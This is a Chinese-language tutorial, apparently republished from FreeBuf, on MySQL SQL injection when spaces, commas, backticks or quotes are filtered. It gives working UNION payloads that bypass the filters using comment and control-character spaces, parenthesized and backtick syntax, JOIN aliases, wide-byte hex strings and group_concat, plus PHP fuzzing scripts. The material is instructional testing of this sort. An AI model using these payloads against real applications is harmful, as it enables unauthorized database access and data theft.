内容简介:对于mysql的注入,基本上是每一名web安全从业者入门的基本功,这里不多废话,结合本人无聊时在mysql上的测试,来谈一谈mysql在过滤某些特殊字符情况下的注入,因为是想到哪写到哪,文章比较散,各位大佬请绕过,和我一样的小白可以看一看,温故而知新,必有所获。php查询mysql的后台脚本就不搭了,没有多大意义,直接从mysql控制台开始测试。首先从最简单的开始:
*本文原创作者:Zzzxbug,本文属FreeBuf原创奖励计划,未经许可禁止转载
对于 mysql 的注入,基本上是每一名web安全从业者入门的基本功,这里不多废话,结合本人无聊时在mysql上的测试,来谈一谈mysql在过滤某些特殊字符情况下的注入,因为是想到哪写到哪,文章比较散,各位大佬请绕过,和我一样的小白可以看一看,温故而知新,必有所获。
php查询mysql的后台脚本就不搭了,没有多大意义,直接从mysql控制台开始测试。首先从最简单的开始:
直接使用mysql系统库做测试:
我们假设在user后存在注入点:那么在利用order by获得列数后进行union注入:
现在开始增加难度,假设后端代码过滤了空格,我们可以替换空格的方法很多:/**/,0x0a,0x0b,0x0c,0x0d:
上图使用/**/替换空格
上图使用0x0a号字符替换空格,注意:按住alt键+小键盘输入10再松开alt键即可在控制台中输入ascii字符0x0a
上图使用0x0b号字符替换空格,注意:按住alt键+小键盘输入11再松开alt键即可在控制台中输入ascii字符0x0b
上图使用0x0c号字符替换空格,注意:按住alt键+小键盘输入12再松开alt键即可在控制台中输入ascii字符0x0c
上图使用0x0d号字符替换空格,注意:按住alt键+小键盘输入13再松开alt键即可在控制台中输入ascii字符0x0d,但因为在控制台中一旦输入0x0d,就会执行指令,所以这里只在union前输入了一次。
做到这里我们可能会想,除了这些字符外还有没有其它字符可以替换空格呢,我们fuzz一下:
<?php $mysqli = new mysqli('localhost', 'root', '', 'mysql'); if ($mysqli->connect_errno) { die("could not connect to the database:\n" . $mysqli->connect_error); } $i=0; while($i++<256){ $sql = "select host,user from user where user='a'".chr($i)."union".chr($i)."select 1,2;"; $res = $mysqli->query($sql); if ($res) { echo "Ok!:$i:".chr($i)."<br>"; } } $mysqli->close(); ?>
将以上代码存为1.php,放入apache中网页访问,显示结果:
可以发现,除了我们刚刚使用的0x0a,0x0b,0x0c,0x0d外还有9号与160号字符可以替换空格(32号本身就是空格,35是注释符不能查询获得正确结果,9号是tab,刚刚漏了,至于160号字符为什么行,我也不知道,那位哥如果知道可以告诉大家)。
进一步思考:如果这些字符都被过滤了,有没有办法不依靠空格来注入呢,办法还是有的,看下面的语句:
在这个语句中:
select host,user from user where user='a'union(select`table_name`,`table_type`from`information_schema`.`tables`);
利用了括号、反引号来隔离了 sql 关键词与库名表名列名,完成了注入。
接下来继续提高难度,我们的注入语句中有许多逗号,看了让人不爽,如果把逗号也过滤掉,我们有没有办法注入呢,方法还是有的,我们可以结合join语句和子查询的别名来替换逗号,看下面的语句: 在这个语句中,我们利用join与别名,成功的避免使用逗号实现了注入:
select host,user from user where user='a'union(select*from((select`table_name`from`information_schema`.`tables`where`table_schema`='mysql')`a`join(select`table_type`from`information_schema`.`tables`where`table_schema`='mysql')b));
玩到这里,我脑洞忽然大开:mysql的子查询别名是可以无限嵌套的么,像俄罗斯套娃一样,下面的语句可以无限扩展么,会不会出现溢出呢:
为了验证,我又进行了一次fuzz,将下面的代码存为2.php,放入apache中网页访问:
<?php $mysqli = new mysqli('localhost', 'root', '', 'mysql'); if ($mysqli->connect_errno) { die("could not connect to the database:\n" . $mysqli->connect_error); } $i=1; $sql = "select'1'"; while($i++){ $alias='a'."$i"; $sql = "select*from(".$sql.")$alias"; $res = $mysqli->query($sql); if(!$res){ echo $mysqli->error; break; }else{ echo $sql."<br>"; } } $mysqli->close(); ?>
结果如下:
select*from(select'1')a2 select*from(select*from(select'1')a2)a3 select*from(select*from(select*from(select'1')a2)a3)a4 select*from(select*from(select*from(select*from(select'1')a2)a3)a4)a5 。。。。。。 select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select'1')a2)a3)a4)a5)a6)a7)a8)a9)a10)a11)a12)a13)a14)a15)a16)a17)a18)a19)a20)a21)a22)a23)a24)a25)a26)a27)a28)a29)a30)a31)a32)a33)a34)a35)a36)a37)a38)a39)a40)a41)a42)a43)a44)a45)a46)a47)a48)a49)a50)a51)a52)a53)a54)a55)a56)a57)a58)a59)a60)a61)a62)a63)a64 Too high level of nesting for select
可以看到在嵌套64次后,mysql输出了”Too high level of nesting for select”的错误信息,也就是说我们最多用mysql进行嵌套子查询64层。
继续回到正题上,再来看刚刚的语句:
select host,user from user where user='a'union(select*from((select`table_name`from`information_schema`.`tables`where`table_schema`='mysql')`a`join(select`table_type`from`information_schema`.`tables`where`table_schema`='mysql')b));
在库名、表名、列名不带空格、*、{、}等特殊符号的情况下(我猜想反引号的存在本来就是为了这类特殊库名表名列名准备的),语句中的反引号也可以用括号代替,变成下面的语句,这样即使过滤了反引号也可以实现注入:
select host,user from user where user='a'union(select*from(((select(table_name)from(information_schema.tables)where(table_schema)='mysql')a)join(select(table_type)from(information_schema.tables)where(table_schema)='mysql')b));
如果存在宽字节注入,那么即使过滤了单引号,我们也可以注入,这时语句变成这样:
select host,user from user where user='a?'union(select*from(((select(table_name)from(information_schema.tables)where(table_schema)=0x6D7973716C)a)join(select(table_type)from(information_schema.tables)where(table_schema)=0x6D7973716C)b));
在注入点处使用宽字节绕过\,将后面的数据处替换成十六进制,来避免了单引号。
其他技巧:
某些web应用只取查询结果的第一行,这时可以使用group_concat()来获取完整数据,例如:
select host,user from user where user='a?'union(select*from(((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=0x6D7973716C)a)join(select(table_type)from(information_schema.tables)where(table_schema)=0x6D7973716C)b));
也可以多加几个条件判断来逐行获取所要的数据:
select host,user from user where user='a?'union(select*from(((select(table_name)from(information_schema.tables)where(table_schema)=(0x6D7973716C)and(table_name)!=(0x6462)and(table_name)!=(0x67687478).......)a)join(select(0x77)from(information_schema.tables)where(table_schema)=0x6D7973716C)b));
*本文原创作者:Zzzxbug,本文属FreeBuf原创奖励计划,未经许可禁止转载
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- SQL注入的优化和绕过
- WAF机制及绕过方法总结:注入篇
- 绕过电子邮件格式过滤进行SQL注入
- 一次SQL注入与WAF绕过思路分享
- 【技术分享】SQL注入防御与绕过的几种姿势
- 突破正则匹配:探寻SQL注入绕过WAF的本源之道
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Boolean Reasoning
Brown, Frank Markham / 2003-4 / $ 19.15
A systematic treatment of Boolean reasoning, this concise, newly revised edition combines the works of early logicians with recent investigations, including previously unpublished research results. Th......一起来看看 《Boolean Reasoning》 这本书的介绍吧!
RGB转16进制工具
RGB HEX 互转工具
RGB CMYK 转换工具
RGB CMYK 互转工具